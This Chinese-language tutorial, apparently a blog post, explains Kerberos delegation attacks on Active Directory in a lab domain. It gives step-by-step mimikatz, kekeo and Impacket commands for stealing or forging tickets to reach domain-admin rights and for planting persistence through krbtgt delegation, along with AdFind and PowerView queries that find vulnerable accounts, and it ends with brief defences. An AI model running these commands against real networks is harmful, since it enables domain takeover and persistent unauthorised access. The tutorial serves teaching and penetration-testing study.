域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动,攻击者可通过利用委派攻击获取域管理员权限。

域委派主要分为三种:

  • 非约束性委派

  • 约束性委派

  • 基于资源的约束性委派

在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的。 

 

01、非约束委派攻击

非约束委派攻击场景: 

假设攻击者拿到一台配置了非约束性委派的机器权限,通过诱导域管理员访问这台机器,得到域管理员的TGT,进而模拟管理员访问任意服务,从而拥有域管理员的权限。

 非约束委派攻击利用

(1)主机账号设置非约束委派

活动目录中的computers组内的计算机,双击计算机名进行属性设置,信任此计算机来委派任何服务(仅kerberos)。

  

(2)使用域管理员访问非约束委派主机的服务。

net use \\WIN-CIFJV1AK3T6.evil.com

 (3)在非约束性委派主机上,使用mimikatz导出票据。

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

 (4)使用mimikatz将票据注入内存,访问域控C盘共享目录中的文件。

 

 查找非约束委派

1、Adfind

下载地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml

查询非约束委派的主机账户:

AdFind.exe -b "DC=evil,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查询非约束委派的服务账户

AdFind.exe -b "DC=evil,DC=com" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

2、PowerView

查询非约束委派的主机账户

Get-NetComputer -Unconstrained -Domain evil.com 

 

查询非约束委派的服务账户

Get-NetUser -Unconstrained -Domain evil.com | select name

 

 

02、约束委派攻击

约束委派攻击场景: 

假设服务账号配置了到域控的约束性委派,当攻击者获取了服务账号,可以作为变种黄金票据,用作后门权限维持。

约束委派攻击

(1)设置约束委派

setspn -U -A cifs/test  test

 

(2)构造服务账户test的票据
kekeo.exe "tgt::ask /user:test /domain:evil.com /password:abc123! /ticket:test.kirbi" "exit"

(3)利用刚才伪造的票据,向域服务器申请CIFS服务票据
kekeo.exe "tgs::s4u /tgt:TGT_test@EVIL.COM_krbtgt~evil.com@EVIL.COM.kirbi /user:administrator@evil.com /service:cifs/WIN-DC01" "exit"

(4)使用mimikatz将该票据注入当前的会话中
mimikatz.exe "kerberos::ptt TGS_administrator@evil.com@EVIL.COM_test@EVIL.COM.kirbi" "exit"

 (5) 访问目标共享盘

dir \\win-dc01\c$

 查找约束委派

1、ADFind

AdFind.exe查询约束委派机器账户
 .\AdFind.exe -b "DC=evil,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

AdFind.exe查询约束委派服务账户 
.\AdFind.exe -b "DC=evil,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

2、PowerView

# PowerView查询约束委派机器账户
powershell Get-DomainComputer -TrustedToAuth -domain evil.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

# PowerView查询约束委派服务账户
powershell Get-DomainUser –TrustedToAuth -domain evil.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

 

03、基于资源的约束委派攻击

基于资源的约束委派攻击场景: 

假设攻击者在获取到域控权限后,可以对krbtgt用户设置委派属性,以实现维持权限的目的。

基于资源的约束委派攻击:

 (1)设置属性值并查询

Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

 

(2)获取ST,并使用wmiexec登录域控

python getST.py -dc-ip 192.168.44.136 -spn krbtgt -impersonate administrator evil.com/test:abc123!
set KRB5CCNAME=administrator.ccache
python wmiexec.py -no-pass -k administrator@win-dc01 -dc-ip 192.168.44.136

 

查找基于资源的非约束委派的用户

当被设置基于资源的约束委派的时候,域控上通过命令行打开adsiedit.msc查看CN=krbtgt的属性,可以看到它的msDS-AllowedToActOnBeahalfOfOtherIdentity会包含有效字段。

 

 

 

防范措施

 1、高权限的用户,设置不能被委派。

2、主机账号需设置委派时,只能设置为约束性委派。

 

参考连接:

https://www.cnblogs.com/first-kiss/articles/16212857.html#

https://forum.butian.net/index.php/share/1591

普通域用户帐号加域权限&授权特定普通域用户加域权限 

 http://wjhsh.net/airoot-p-14827626.html

https://blog.csdn.net/mooncarp/article/details/127926435